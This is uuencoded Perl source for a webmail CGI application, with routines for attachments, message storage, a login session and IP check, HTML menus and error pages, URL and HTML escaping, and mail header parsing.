#?3L*
)?2!E;'-E('L*
&;&%S=#L*
"?0H`
"?0H`
4<F5T=7)N($!T97AT7W!A<G1S.PH`
"?0H`
=<W5B(&=E=%]A='1A8VAE9%]F:6QE<U]N97<@>PH`
6;7D@*$!M<V=?<&%R=',I(#T@0%\["@``
7;7D@0&%T=&%C:&5D7W!A<G1S/2@I.PH`
@9F]R("@D:3TP.R1I/$!M<V=?<&%R=',[)&DK*RD@>PH`
I;7D@)&9O<FUA="`@("`@/2`D;7-G7W!A<G1S6R1I77M&3U)-051].PH`
K;7D@)&9N86UE("`@("`@/2`D;7-G7W!A<G1S6R1I77M&24Q%3D%-17T["@``
9;7D@)&)A<V5N86UE("`@/2`D9FYA;64["@``
:)&)A<V5N86UE("`@/7X@<R]>+BI<+R\O.PH`
M:68@("@@(2@@*"1F;W)M870@/7X@;2,H=&5X="]H=&UL?'1E>'0O<&QA:6Y\
M7FUE<W-A9V4O*2-I*2`F)B`H)&)A<V5N86UE(#U^("]>*&US9RU\;6U<+BDO
(*2`I("D@>PH`
&;&%S=#L*
"?0H`
"?0H`
==VAI;&4@*"`D:2`\("0C;7-G7W!A<G1S("D@>PH`
8<'5S:"!`871T86-H961?<&%R=',L('L*
B1D]234%4(#T^("1M<V=?<&%R='-;)&E=>T9/4DU!5'TL"@``
F1DE,14Y!344@/3X@)&US9U]P87)T<ULD:5U[1DE,14Y!345]+`H`
#?3L*
&)&DK*SL*
"?0H`
8<F5T=7)N($!A='1A8VAE9%]P87)T<SL*
"?0H`
9<W5B(&=E=%]A='1A8VAE9%]F:6QE<R!["@``
6;7D@*$!M<V=?<&%R=',I(#T@0%\["@``
7;7D@0&%T=&%C:&5D7W!A<G1S/2@I.PH`
@9F]R("@D:3TP.R1I/$!M<V=?<&%R=',[)&DK*RD@>PH`
I;7D@)&9O<FUA="`@("`@/2`D;7-G7W!A<G1S6R1I77M&3U)-051].PH`
K;7D@)&9N86UE("`@("`@/2`D;7-G7W!A<G1S6R1I77M&24Q%3D%-17T["@``
9;7D@)&)A<V5N86UE("`@/2`D9FYA;64["@``
:)&)A<V5N86UE("`@/7X@<R]>+BI<+R\O.PH`
M:68@("@@(2@@*"`H)&9O<FUA="`]?B`O=&5X=%PO<&QA:6XO:2D@?'P@*"1F
M;W)M870@/7X@+UYM97-S86=E7"\O:2D@*2`F)B`H)&)A<V5N86UE(#U^("]>
4*&US9RU\;6U<+BDO*2`I("D@>PH`
&;&%S=#L*
"?0H`
"?0H`
==VAI;&4@*"`D:2`\("0C;7-G7W!A<G1S("D@>PH`
8<'5S:"!`871T86-H961?<&%R=',L('L*
B1D]234%4(#T^("1M<V=?<&%R='-;)&E=>T9/4DU!5'TL"@``
F1DE,14Y!344@/3X@)&US9U]P87)T<ULD:5U[1DE,14Y!345]+`H`
#?3L*
&)&DK*SL*
"?0H`
8<F5T=7)N($!A='1A8VAE9%]P87)T<SL*
"?0H`
><W5B(')E861?;65S<V%G97-?9G)O;5]D:7-K('L*
4;7D@*"1M<V=F:6QE*2`]($!?.PH`
-;7D@0&US9W,]*"D["@``
*;&]C86P@)%\["@``
3:68@*"UF("1M<V=F:6QE*2!["@``
6;W!E;BA&2"PB/"1M<V=F:6QE(BD["@``
38VAO;7`H0&US9W,]/$9(/BD["@``
+8VQO<V4H1D@I.PH`
"?0H`
/<F5T=7)N*$!M<V=S*3L*
"?0H`
=<W5B('=R:71E7VUE<W-A9V5S7W1O7V1I<VL@>PH`
<;7D@*"1M<V=F:6QE+"1M<V=R968I(#T@0%\["@``
*;&]C86P@)%\["@``
5;7D@0&US9W,@/2!`)&US9W)E9CL*
6;W!E;BA&2"PB/B1M<V=F:6QE(BD["@``
.9F]R("A`;7-G<RD@>PH`
1<')I;G0@1D@@(B1?7&XB.PH`
"?0H`
+8VQO<V4H1D@I.PH`
"?0H`
2<W5B(&-H96-K7VQO9VEN('L*
M;7D@*"1L86YG+"1C;VQO<G,L)'5S97)?9&ER;F%M92PD=&EM96]U="D@/2!`
#7SL*
.;7D@)4P])21L86YG.PH`
0;7D@)4,])21C;VQO<G,["@``
D;7D@)&9N86UE(#T@(B1U<V5R7V1I<FYA;64O:7`N='AT(CL*
*;&]C86P@)%\["@``
M;7D@)&QA<W1?;6]D7W-E8R`]("@M32`D9FYA;64I("H@,S8P,"XP("H@,C0N
#,#L*
D;7D@)'1I;65O=71?<V5C<R`]("1T:6UE;W5T("H@-C`N,#L*
M:68@*"`H(2`M92`D9FYA;64I('Q\("@D;&%S=%]M;V1?<V5C(#X@)'1I;65O
-=71?<V5C<RD@*2!["@``
H;7D@)'1I=&QE(#T@)$Q[)T5R<F]R.B!,;V=I;B!%>'!I<F5D)WT["@``
M;7D@)&5R<FUS9R`@(#T@(B1T:6UE;W5T("1,>R=L;V=I;G1I;65O=70G?2([
!"@``
E<')I;G0@(D-O;G1E;G0M='EP93H@=&5X="]H=&UL7&Y<;B(["@``
0<')I;G0\/$A%4D5$3T,["@``
'/&AT;6P^"@``
'/&AE860^"@``
M/$U%5$$@8V]N=&5N=#TB=&5X="]H=&UL.R!C:&%R<V5T/21,>T-(05)3151]
;(B!H='1P+65Q=6EV/4-O;G1E;G0M5'EP93X*
6/'1I=&QE/B1T:71L93PO=&ET;&4^"@``
(/"]H96%D/@H`
M/&)O9'D@8F=C;VQO<CTD0WM"1U]72$E417T@3$E.2STD0WM,24Y+?2!!3$E.
=2STD0WM!3$E.2WT@5DQ)3DL])$-[5DQ)3DM]/@H`
M/'1A8FQE(&-E;&QP861D:6YG/2(T(B!C96QL<W!A8VEN9STB,B(@=VED=&@]
((C$P,"4B/@H`
:/&9O<FT@86-T:6]N/2)I;F1E>"YC9VDB/@H`
%/'1R/@H`
M/'1D(&)G8V]L;W(])$-[0D=?4%524$Q%?3X\:6YP=70@='EP93TB<W5B;6ET
=(B!V86QU93TB)$Q[)TQO9R!);B=](CX\+W1D/@H`
M/'1D(&)G8V]L;W(])$-[0D=?3U)!3D=%?2!W:61T:#TB.3`E(B!A;&EG;CTB
)8V5N=&5R(CX*
M/&9O;G0@9F%C93TB87)I86PL:&5L=F5T:6-A(B!C;VQO<CTD0WM415A47T),
K04-+?2!S:7IE/30^/'-T<F]N9SXD=&ET;&4\+W-T<F]N9SX\+V9O;G0^"@``
&/"]T9#X*
M/'1D(&)G8V]L;W(])$-[0D=?4%524$Q%?3X\:6YP=70@='EP93TB<W5B;6ET
=(B!V86QU93TB)$Q[)TQO9R!);B=](CX\+W1D/@H`
&/"]T<CX*
(/"]F;W)M/@H`
%/'1R/@H`
0/'1D/B9N8G-P.SPO=&0^"@``
0/'1D/B9N8G-P.SPO=&0^"@``
0/'1D/B9N8G-P.SPO=&0^"@``
&/"]T<CX*
%/'1R/@H`
0/'1D/B9N8G-P.SPO=&0^"@``
M/'1D(&%L:6=N/6-E;G1E<CX\9F]N="!F86-E/2)A<FEA;"QH96QV971I8V$B
M(&-O;&]R/21#>U1%6%1?0DQ!0TM]/CQS=')O;F<^)&5R<FUS9SPO<W1R;VYG
./CPO9F]N=#X\+W1D/@H`
0/'1D/B9N8G-P.SPO=&0^"@``
&/"]T<CX*
)/"]T86)L93X*
(/"]F;W)M/@H`
$/'`^"@``
(2$52141/0PH`
F;7D@)&QA<W1A9"`]("9P<FEN=%]A9"@M.3DL(F-E;G1E<B(I.PH`
M)G!R:6YT7V)O='1O;5]L:6YK<R@D=7-E<E]D:7)N86UE+")#3U!94DE'2%1/
/3DQ9(BQ<)4,L7"5,*3L*
0<')I;G0\/$A%4D5$3T,["@``
(/"]B;V1Y/@H`
(/"]H=&UL/@H`
(2$52141/0PH`
)97AI="@P*3L*
"?0H`
5;W!E;BA)1D@L(CPD9FYA;64B*3L*
38VAO;7`H)%\@/2`\249(/BD["@``
,8VQO<V4H249(*3L*
C*"1%3E9[4D5-3U1%7T%$1%)](&YE("1?*2`F)B!E>&ET.PH`
1;7D@)'1I;64@/2!T:6UE.PH`
G*"1F;F%M92`]?B`O7B@N*RDD+RD@)B8@*"1F;F%M92`]("0Q*3L*
J*"UE("1F;F%M92D@)B8@=71I;64H)'1I;64L)'1I;64L)&9N86UE*3L*
7?2`C(&5N9"!O9B!C:&5C:U]L;V=I;@H`
4<W5B(&=E=%]M<V=?9FEL97,@>PH`
0;7D@*"1R96,I(#T@0%\["@``
?;7D@0&9I96QD<R`]('-P;&ET*"]<?"\L)')E8RD["@``
-;7D@*$!F:6QE<RD["@``
99F]R96%C:"`D9FQD("A`9FEE;&1S*2!["@``
::68@*"`D9FQD("%^("]>5D%27"\O("D@>PH`
D*"1D97-C+"1F;F%M92D@/2!S<&QI="@O.B\L)&9L9"PR*3L*
5<'5S:"A`9FEL97,L)&9N86UE*3L*
"?0H`
"?0H`
/<F5T=7)N($!F:6QE<SL*
"?0H`
1<W5B(&=E=%]M<V=P;W,@>PH`
8;7D@*"1M<V=N;RQ`<F5C<RD@/2!`7SL*
.;7D@)&US9W!O<STQ.PH`
);7D@)&D],#L*
L=VAI;&4@*"`H)&D@/"`D;7-G;F\I("8F("@D:2`\/2`D(W)E8W,I("D@>PH`
M*"1R96-S6R1I72`A?B`O7'Q605)<+U-4051%.D1%3$5415Q\+RD@)B8@*"1M
*<V=P;W,K*RD["@``
&)&DK*SL*
"?0H`
0<F5T=7)N("1M<V=P;W,["@``
"?0H`
1<W5B(&=E=%]M<V=T;W0@>PH`
3;7D@*"1M<V=R968I(#T@0%\["@``
5;7D@0&US9W,@/2!`)&US9W)E9CL*
-;7D@)'1O="`](#`["@``
*;&]C86P@)%\["@``
.9F]R("A`;7-G<RD@>PH`
H*"$O7'Q605)<+U-4051%.D1%3$5415Q\+RD@)B8@*"1T;W0K*RD["@``
"?0H`
-<F5T=7)N("1T;W0["@``
"?0H`
9<W5B(&=E=%]M97-S86=E7W-T871E<R!["@``
3;7D@*"1M<V=R968I(#T@0%\["@``
*;&]C86P@)%\["@``
6;7D@*"5H87-H+"1K97DL)'9A;"D["@``
59F]R96%C:"`H0"1M<V=R968I('L*
B)&ME>2`]("9G971?9FEE;&0H7"1?+%PG5D%2+TE$)RD["@``
E)'9A;"`]("9G971?9FEE;&0H7"1?+%PG5D%2+U-4051%)RD["@``
4)&AA<VA[)&ME>7T@/2`D=F%L.PH`
"?0H`
-<F5T=7)N("5H87-H"@``
"?0H`
9<W5B(&=E=%]M97-S86=E7V9N86UE<R!["@``
3;7D@*"1M<V=R968I(#T@0%\["@``
*;&]C86P@)%\["@``
6;7D@*"5H87-H+"1K97DL)'9A;"D["@``
59F]R96%C:"`H0"1M<V=R968I('L*
B)&ME>2`]("9G971?9FEE;&0H7"1?+%PG5D%2+TE$)RD["@``
C)'9A;"`]("9G971?9FEE;&0H7"1?+%PG04Q,+T%,3"<I.PH`
4)&AA<VA[)&ME>7T@/2`D=F%L.PH`
"?0H`
-<F5T=7)N("5H87-H"@``
"?0H`
.<W5B(')E8W9A<G,@>PH`
2;7D@)6AE861E<G,@/2!`7SL*
J;7D@)')E8R`@/2`B5D%2+TE$.B1H96%D97)S>TU%4U-!1T5)1'U\(CL*
=)')E8R`N/2`B5D%2+U-4051%.E5.4D5!1'PB.PH`
J)')E8R`N/2`B5D%2+U-50DI%0U0Z)&AE861E<G-[4U5"2D5#5'U\(CL*
L)')E8R`N/2`B5D%2+T923TU.04U%.B1H96%D97)S>T923TU.04U%?7PB.PH`
M)')E8R`N/2`B5D%2+T923TU#3TU-14Y4.B1H96%D97)S>T923TU#3TU-14Y4
%?7PB.PH`
J)')E8R`N/2`B5D%2+T923TU!1$0Z)&AE861E<G-[1E)/34%$1'U\(CL*
J)')E8R`N/2`B5D%2+U)43TY!344Z)&AE861E<G-[4E1/3D%-17U\(CL*
H)')E8R`N/2`B5D%2+U)43T%$1#HD:&5A9&5R<WM25$]!1$1]?"(["@``
M)')E8R`N/2`B5D%2+U)43T-/34U%3E0Z)&AE861E<G-[4E1/0T]-345.5'U\
#(CL*
D)')E8R`N/2`B5D%2+T1!5$4Z)&AE861E<G-[1$%417U\(CL*
F)')E8R`N/2`B5D%2+T1!64U/.B1H96%D97)S>T1!64U/?7PB.PH`
M)')E8R`N/2`B5D%2+TU%4U-!1T5325I%.B1H96%D97)S>TU%4U-!1T5325I%
%?7PB.PH`
"?0H`
3<W5B(&1A=&5?-%]I;F)O>"!["@``
1;7D@*"1D871E*2`]($!?.PH`
2;7D@*"1D87DL)&UO;G1H*3L*
M*"1D871E(#U^("\H7&1<9#\I("LH6T$M6F$M>ETK*2\I("8F("@D9&%Y(#T@
4)#$I("8F("@D;6]N=&@])#(I.PH`
H*&QE;F=T:"@D9&%Y*2`\(#(I("8F("@D9&%Y(#T@(C`D9&%Y(BD["@``
;)&1A=&4@/2`B)'MM;VYT:'U?)'MD87E](CL*
"?0H`
4<W5B(&9R965?9FEL96YA;64@>PH`
2;7D@*"1F;F%M92D@/2!`7SL*
);7D@)&D],3L*
6=VAI;&4@*"`M92`D9FYA;64@*2!["@``
6)&9N86UE(#U^(',O7&0J)"\D:2\["@``
&*RLD:3L*
"?0H`
/<F5T=7)N("1F;F%M93L*
"?0H`
5<W5B(')E;&%T:79E7VUS9VYO('L*
K;7D@*"1M<V=N;RPD<F5L871I=F5?<&]S:71I;VXL0')E8W,I(#T@0%\["@``
7;7D@)&US9VYO7VEN(#T@)&US9VYO.PH`
D:68@*"`H)"-R96-S(#P@,"D@?'P@*"1M<V=N;R`\(#`I("D*
3>R!R971U<FX@+3$P,#`P.R!]"@``
D:68@*"1R96QA=&EV95]P;W-I=&EO;B!E<2`B3D585"(I('L*
*)&US9VYO*RL["@``
M=VAI;&4@*"@D;7-G;F\@/#T@)"-R96-S*2`F)B`H)')E8W-;)&US9VYO72`]
>?B`O7'Q605)<+U-4051%.D1%3$5415Q\+RDI('L*
*)&US9VYO*RL["@``
"?0H`
8:68@*"1M<V=N;R`\/2`D(W)E8W,I('L*
5)')T;E]M<V=N;R`]("1M<V=N;SL*
)?2!E;'-E('L*
;)')T;E]M<V=N;R`]("(M)&US9VYO7VEN(CL*
"?0H`
"?0H`
D:68@*"1R96QA=&EV95]P;W-I=&EO;B!E<2`B4%)%5B(I('L*
*)&US9VYO+2T["@``
M=VAI;&4@*"@D;7-G;F\@/CT@,"D@)B8@*"1R96-S6R1M<V=N;UT@/7X@+UQ\
95D%27"]35$%413I$14Q%5$5<?"\I*2!["@``
*)&US9VYO+2T["@``
"?0H`
3:68@*"1M<V=N;R`^/2`P*2!["@``
5)')T;E]M<V=N;R`]("1M<V=N;SL*
)?2!E;'-E('L*
;)')T;E]M<V=N;R`]("(M)&US9VYO7VEN(CL*
"?0H`
"?0H`
3<F5T=7)N("1R=&Y?;7-G;F\["@``
"?0H`
8<W5B('!R:6YT7V)A8VM?97)R;7-G('L*
H;7D@*"1L86YG+"1C;VQO<G,L)'1I=&QE+"1E<G)M<V<I(#T@0%\["@``
.;7D@)4P])21L86YG.PH`
0;7D@)4,])21C;VQO<G,["@``
E<')I;G0@(D-O;G1E;G0M='EP93H@=&5X="]H=&UL7&Y<;B(["@``
0<')I;G0\/$A%4D5$3T,["@``
'/&AT;6P^"@``
'/&AE860^"@``
M/$U%5$$@8V]N=&5N=#TB=&5X="]H=&UL.R!C:&%R<V5T/21,>T-(05)3151]
;(B!H='1P+65Q=6EV/4-O;G1E;G0M5'EP93X*
6/'1I=&QE/B1T:71L93PO=&ET;&4^"@``
(/"]H96%D/@H`
M/&)O9'D@8F=C;VQO<CTD0WM"1U]72$E417T@;&EN:STD0WM,24Y+?2!A;&EN
=:STD0WM!3$E.2WT@=FQI;FL])$-[5DQ)3DM]/@H`
M/'1A8FQE(&-E;&QP861D:6YG/2(T(B!C96QL<W!A8VEN9STB,B(@=VED=&@]
((C$P,"4B/@H`
%/'1R/@H`
J/'1D(&)G8V]L;W(])$-[0D=?3U)!3D=%?2!A;&EG;CTB8V5N=&5R(CX*
M/&9O;G0@9F%C93TB87)I86PL:&5L=F5T:6-A(B!C;VQO<CTD0WM415A47T),
/04-+?2!S:7IE/2(T(CX*
8/'-T<F]N9SXD=&ET;&4\+W-T<F]N9SX*
(/"]F;VYT/@H`
&/"]T9#X*
&/"]T<CX*
)/"]T86)L93X*
$/'`^"@``
)/&-E;G1E<CX*
M/&9O;G0@9F%C93TB87)I86PL:&5L=F5T:6-A(B!C;VQO<CTD0WM415A47T),
&04-+?3X*
//&(^)&5R<FUS9SPO8CX*
(/"]F;VYT/@H`
$/'`^"@``
'/&9O<FT^"@``
M/&EN<'5T('1Y<&4](F)U='1O;B(@3VY#;&EC:STB:&ES=&]R>2YB86-K*"DB
5('9A;'5E/2(D3'LG0F%C:R=](CX*
(/"]F;W)M/@H`
*/"]C96YT97(^"@``
(/"]B;V1Y/@H`
(/"]H=&UL/@H`
(2$52141/0PH`
"?0H`
3<W5B('!R:6YT7V5R<FUS9R!["@``
C;7D@*"1L86YG+"1C;VQO<G,L)&-O<'EO;FQY*2`]($!?.PH`
.;7D@)4P])21L86YG.PH`
0;7D@)4,])21C;VQO<G,["@``
E<')I;G0@(D-O;G1E;G0M='EP93H@=&5X="]H=&UL7&Y<;B(["@``
0<')I;G0\/$A%4D5$3T,["@``
'/&AT;6P^"@``
'/&AE860^"@``
M/$U%5$$@8V]N=&5N=#TB=&5X="]H=&UL.R!C:&%R<V5T/21,>T-(05)3151]
;(B!H='1P+65Q=6EV/4-O;G1E;G0M5'EP93X*
K/'1I=&QE/B1,>R=796)M86EL($5R<F]R($UE<W-A9V4G?3PO=&ET;&4^"@``
(/"]H96%D/@H`
M/&)O9'D@8F=C;VQO<CTD0WM"1U]72$E417T@3$E.2STD0WM,24Y+?2!!3$E.
=2STD0WM!3$E.2WT@5DQ)3DL])$-[5DQ)3DM]/@H`
M/'1A8FQE(&-E;&QP861D:6YG/2(T(B!C96QL<W!A8VEN9STB,B(@=VED=&@]
((C$P,"4B/@H`
:/&9O<FT@86-T:6]N/2)I;F1E>"YC9VDB/@H`
%/'1R/@H`
M/'1D(&)G8V]L;W(])$-[0D=?4%524$Q%?3X\:6YP=70@='EP93TB<W5B;6ET
=(B!V86QU93TB)$Q[)TQO9R!);B=](CX\+W1D/@H`
M/'1D(&)G8V]L;W(])$-[0D=?3U)!3D=%?2!W:61T:#TB.3`E(B!A;&EG;CTB
)8V5N=&5R(CX*
M/&9O;G0@9F%C93TB87)I86PL:&5L=F5T:6-A(B!C;VQO<CTD0WM415A47T),
/04-+?2!S:7IE/2(T(CX*
K/'-T<F]N9SXD3'LG17)R;W(Z($QO9VEN($9A:6QE9"=]/"]S=')O;F<^"@``
(/"]F;VYT/@H`
&/"]T9#X*
M/'1D(&)G8V]L;W(])$-[0D=?4%524$Q%?3X\:6YP=70@='EP93TB<W5B;6ET
=(B!V86QU93TB)$Q[)TQO9R!);B=](CX\+W1D/@H`
&/"]T<CX*
%/'1R/@H`
0/'1D/B9N8G-P.SPO=&0^"@``
0/'1D/B9N8G-P.SPO=&0^"@``
0/'1D/B9N8G-P.SPO=&0^"@``
&/"]T<CX*
%/'1R/@H`
0/'1D/B9N8G-P.SPO=&0^"@``
M/'1D(&%L:6=N/6-E;G1E<CX\9F]N="!F86-E/2)A<FEA;"QH96QV971I8V$B
M(&-O;&]R/21#>U1%6%1?0DQ!0TM]/CQS=')O;F<^)$Q[)VQO9VEN97)R;7-G
8)WT\+W-T<F]N9SX\+V9O;G0^/"]T9#X*
0/'1D/B9N8G-P.SPO=&0^"@``
&/"]T<CX*
'/&9O<FT^"@``
)/"]T86)L93X*
(2$52141/0PH`
C;7D@)'1M<"`]("9P<FEN=%]A9"@M.3DL(F-E;G1E<B(I.PH`
0<')I;G0\/$A%4D5$3T,["@``
(/"]B;V1Y/@H`
(/"]H=&UL/@H`
(2$52141/0PH`
G?2`C(&5N9"!O9B!P<FEN=%]E<G)M<V<@<W5B<F]U;G1I;F4N+BX*
5<W5B('!R:6YT7W1O<%]M96YU('L*
M;7D@*"1T:71L92PD=7-E<E]D:7)N86UE+"1L86YG+"1C;VQO<G,I(#T@0%\[
!"@``
.;7D@)4P])21L86YG.PH`
0;7D@)4,])21C;VQO<G,["@``
L*&UY("1U<V5R;F%M92`]("1U<V5R7V1I<FYA;64I(#U^(',O+BI<+R\O.PH`
M;7D@)&EN/2(\;W!T:6]N('9A;'5E/5PB<&]P;7-G<UPB/B1,>R=);F-O;6EN
/9R!-97-S86=E<R=](CL*
M;7D@)&]U=#TB/&]P=&EO;B!V86QU93U<(G-E;G1M<V=S7"(^)$Q[)U-A=F5D
7($]U=&=O:6YG($UE<W-A9V5S)WTB.PH`
M:68@*"UF("(D=7-E<E]D:7)N86UE+T%$2D5314Y41D],1$5204-4259%+G1X
&="(I('L*
7)&QI;F4Q(#T@(B1O=70D=&ET;&4B.PH`
.)&QI;F4R(#T@)&EN.PH`
)?2!E;'-E('L*
6)&QI;F4Q(#T@(B1I;B1T:71L92(["@``
/)&QI;F4R(#T@)&]U=#L*
"?0H`
0<')I;G0\/$A%4D5$3T,["@``
?/'-C<FEP="!L86YG=6%G93TB:F%V87-C<FEP="(^"@``
%/"$M+0H`
:9G5N8W1I;VX@8VAA;F=E9F]L9&5R*"D@>PH`
M=F%R(&EN9&5X/61O8W5M96YT+F9O;&1E<G-E;&5C="YT;V)O>"YS96QE8W1E
'9$EN9&5X"@``
M=F%R('9A;"`](&1O8W5M96YT+F9O;&1E<G-E;&5C="YT;V)O>"YO<'1I;VYS
.6VEN9&5X72YV86QU90H`
B9&]C=6UE;G0N;6%I;&)O>"Y&3TQ$15(N=F%L=64]=F%L"@``
:9&]C=6UE;G0N;6%I;&)O>"YS=6)M:70H*0H`
"?0H`
&+R\M+3X*
*/"]S8W)I<'0^"@``
M/'1A8FQE(&-E;&QP861D:6YG/2(T(B!C96QL<W!A8VEN9STB,B(@=VED=&@]
((C$P,"4B/@H`
%/'1R/@H`
M/&9O<FT@;F%M93TB;6%I;&)O>"(@;65T:&]D/2)03U-4(B!A8W1I;VX](FEN
*8F]X+F-G:2(^"@``
J/'1D(&%L:6=N/2)C96YT97(B(&)G8V]L;W(])$-[0D=?4%524$Q%?3X*
M/&EN<'5T('1Y<&4](G-U8FUI="(@=F%L=64](B1,>R=-86EL($)O>"=](CX*
M/&EN<'5T('1Y<&4](FAI9&1E;B(@;F%M93TB55-%4DY!344B("`@=F%L=64]
-(B1U<V5R;F%M92(^"@``
M/&EN<'5T('1Y<&4](FAI9&1E;B(@;F%M93TB1D],1$52(B!V86QU93TB;F]C
(:&%N9V4B/@H`
M/&EN<'5T('1Y<&4](FAI9&1E;B(@;F%M93TB04-424].(B!V86QU93TB;6%I
';&)O>"(^"@``
&/"]T9#X*
(/"]F;W)M/@H`
J/&9O<FT@;65T:&]D/2)03U-4(B!A8W1I;VX](F-O;7!O<V4N8V=I(CX*
J/'1D(&%L:6=N/2)C96YT97(B(&)G8V]L;W(])$-[0D=?4%524$Q%?3X*
L/&EN<'5T('1Y<&4](G-U8FUI="(@=F%L=64](B1,>R=#;VUP;W-E)WTB/@H`
M/&EN<'5T('1Y<&4](FAI9&1E;B(@;F%M93TB55-%4DY!344B("`@=F%L=64]
-(B1U<V5R;F%M92(^"@``
M/&EN<'5T('1Y<&4](FAI9&1E;B(@;F%M93TB04-424].(B`@("`@=F%L=64]
/(DYE=R!-97-S86=E(CX*
&/"]T9#X*
(/"]F;W)M/@H`
M/&9O<FT@;65T:&]D/2)03U-4(B!A8W1I;VX](F5D:71A9&1B;V]K+F-G:2(^
!"@``
J/'1D(&%L:6=N/2)C96YT97(B(&)G8V]L;W(])$-[0D=?4%524$Q%?3X*
M/&EN<'5T('1Y<&4](G-U8FUI="(@=F%L=64](B1,>R=!9&1R97-S97,G?2(^
!"@``
M/&EN<'5T('1Y<&4](FAI9&1E;B(@;F%M93TB55-%4DY!344B("`@=F%L=64]
-(B1U<V5R;F%M92(^"@``
&/"]T9#X*
(/"]F;W)M/@H`
;/&9O<FT@;F%M93TB9F]L9&5R<V5L96-T(CX*
M/'1D('=I9'1H/2(Y-24B(&)G8V]L;W(])$-[0D=?3U)!3D=%?2!A;&EG;CTB
)8V5N=&5R(CX*
M/'-E;&5C="!N86UE/2)T;V)O>"(@;VYC:&%N9V4](F-H86YG969O;&1E<B@I
#(CX*
')&QI;F4Q"@``
')&QI;F4R"@``
*/"]S96QE8W0^"@``
&/"]T9#X*
(/"]F;W)M/@H`
I/&9O<FT@;65T:&]D/2)03U-4(B!A8W1I;VX](FQO9V]U="YC9VDB/@H`
J/'1D(&%L:6=N/2)C96YT97(B(&)G8V]L;W(])$-[0D=?4%524$Q%?3X*
L/&EN<'5T('1Y<&4](G-U8FUI="(@=F%L=64](B1,>R=,;V<@3W5T)WTB/@H`
M/&EN<'5T('1Y<&4](FAI9&1E;B(@;F%M93TB55-%4DY!344B("`@=F%L=64]
-(B1U<V5R;F%M92(^"@``
&/"]T9#X*
(/"]F;W)M/@H`
&/"]T<CX*
)/"]T86)L93X*
(2$52141/0PH`
"?0H`
4<W5B('5N97-C87!E7VAT;6P@>PH`
6;7DH)'1O=6YE;F-O9&4I(#T@0%\["@``
:)'1O=6YE;F-O9&4]?G,O)F%M<#LO)B]G.PH`
<)'1O=6YE;F-O9&4]?G,O)G%U;W0[+UPB+V<["@``
9)'1O=6YE;F-O9&4]?G,O)F=T.R\^+V<["@``
9)'1O=6YE;F-O9&4]?G,O)FQT.R\\+V<["@``
4<F5T=7)N("1T;W5N96YC;V1E.PH`
"?0H`
2<W5B(&5S8V%P95]H=&UL('L*
4;7DH)'1O96YC;V1E*2`]($!?.PH`
?(61E9FEN960H)'1O96YC;V1E*2`F)B!R971U<FX["@``
8)'1O96YC;V1E/7YS+R8O)F%M<#LO9SL*
:)'1O96YC;V1E/7YS+UPB+R9Q=6]T.R]G.PH`
7)'1O96YC;V1E/7YS+SXO)F=T.R]G.PH`
7)'1O96YC;V1E/7YS+SPO)FQT.R]G.PH`
2<F5T=7)N("1T;V5N8V]D93L*
"?0H`
3<W5B('5N97-C87!E7W5R;"!["@``
4;7DH)'1O9&5C;V1E*2`]($!?.PH`
6)'1O9&5C;V1E(#U^('1R+RLO("\["@``
M)'1O9&5C;V1E(#U^(',O)2A;,"TY82UF02U&77LR?2DO<&%C:R@B8R(L:&5X
**"0Q*2DO9V4["@``
2<F5T=7)N("1T;V1E8V]D93L*
"?0H`
1<W5B(&5S8V%P95]U<FP@>PH`
4;7DH)'1O96YC;V1E*2`]($!?.PH`
<(21T;V5N8V]D92`F)B!R971U<FX@=6YD968["@``
M)'1O96YC;V1E/7YS+RA;7F$M>D$M6C`M.5]<+2Y=*2]U8R!S<')I;G1F*"(E
4)24P,G@B+&]R9"@D,2DI+V5G.PH`
2<F5T=7)N("1T;V5N8V]D93L*
"?0H`
2<W5B(&=E=%]H96%D97)S('L*
5;7D@*$!H96%D;&EN97,I/2!`7SL*
<;7D@)&AE860@/2!-24U%.CI(96%D+3YN97<["@``
=)&AE860M/F5X=')A8W0H7$!H96%D;&EN97,I.PH`
/)&AE860M/G5N9F]L9#L*
/)&AE860M/F1E8V]D93L*
C;7D@)&1A=&4@("`@/2`D:&5A9"T^9V5T*"=$871E.B<I.PH`
A;7D@)&-C("`@("`@/2`D:&5A9"T^9V5T*"=#8SHG*3L*
F;7D@)'-U8FIE8W0@/2`D:&5A9"T^9V5T*"=3=6)J96-T.B<I.PH`
A;7D@)'1O("`@("`@/2`D:&5A9"T^9V5T*"=4;SHG*3L*
C;7D@)&9R;VT@("`@/2`D:&5A9"T^9V5T*"=&<F]M.B<I.PH`
G;7D@)')E<&QY=&\@/2`D:&5A9"T^9V5T*"=297!L>2U4;SHG*3L*
6(21D871E("8F("@D9&%T93TG)RD["@``
2(21C8R`F)B`H)&-C/2<G*3L*
<(21S=6)J96-T("8F("@D<W5B:F5C=#TG)RD["@``
2(21T;R`F)B`H)'1O/2<G*3L*
6(21F<F]M("8F("@D9G)O;3TG)RD["@``
<(21R97!L>71O("8F("@D<F5P;'ET;STG)RD["@``
0;7D@)6AE861E<G,@/2`H"@``
74U5"2D5#5"`@(#T^("1S=6)J96-T+`H`
25$\@("`@("`@(#T^("1T;RP*
41E)/32`@("`@(#T^("1F<F]M+`H`
74D503%E43R`@(#T^("1R97!L>71O+`H`
20T,@("`@("`@(#T^("1C8RP*
41$%412`@("`@(#T^("1D871E+`H`
#*3L*
@9F]R96%C:"`D:V5Y("AK97ES*"5H96%D97)S*2D@>PH`
B(61E9FEN960H)&AE861E<G-[)&ME>7TI("8F(&YE>'0["@``
;)&AE861E<G-[)&ME>7T@/7X@<R]>("LO+SL*
=)&AE861E<G-[)&ME>7T@/7X@<R]<<C]<;B\O.PH`
;)&AE861E<G-[)&ME>7T@/7X@<R\@*R0O+SL*
"?0H`
D;7D@*"1N86UE+"1A9&0L)&-O;6TI(#T@*"<G+"<G+"<G*3L*
M*"1N86UE+"1A9&0L)&-O;6TI(#T@)G!A<G-E7V5M86EL7V%D9')E<W,H)&AE
.861E<G-[1E)/37TI.PH`
>)&AE861E<G-[1E)/34%$1'T@("`@(#T@)&%D9#L*
?)&AE861E<G-[1E)/34Y!345]("`@(#T@)&YA;64["@``
?)&AE861E<G-[1E)/34-/34U%3E1](#T@)&-O;6T["@``
A*"1N86UE+"1A9&0L)&-O;6TI(#T@*"<G+"<G+"<G*3L*
M*"1N86UE+"1A9&0L)&-O;6TI(#T@)G!A<G-E7V5M86EL7V%D9')E<W,H)&AE
1861E<G-[4D503%E43WTI.PH`
=)&AE861E<G-[4E1/041$?2`@("`@/2`D861D.PH`
>)&AE861E<G-[4E1/3D%-17T@("`@/2`D;F%M93L*
>)&AE861E<G-[4E1/0T]-345.5'T@/2`D8V]M;3L*
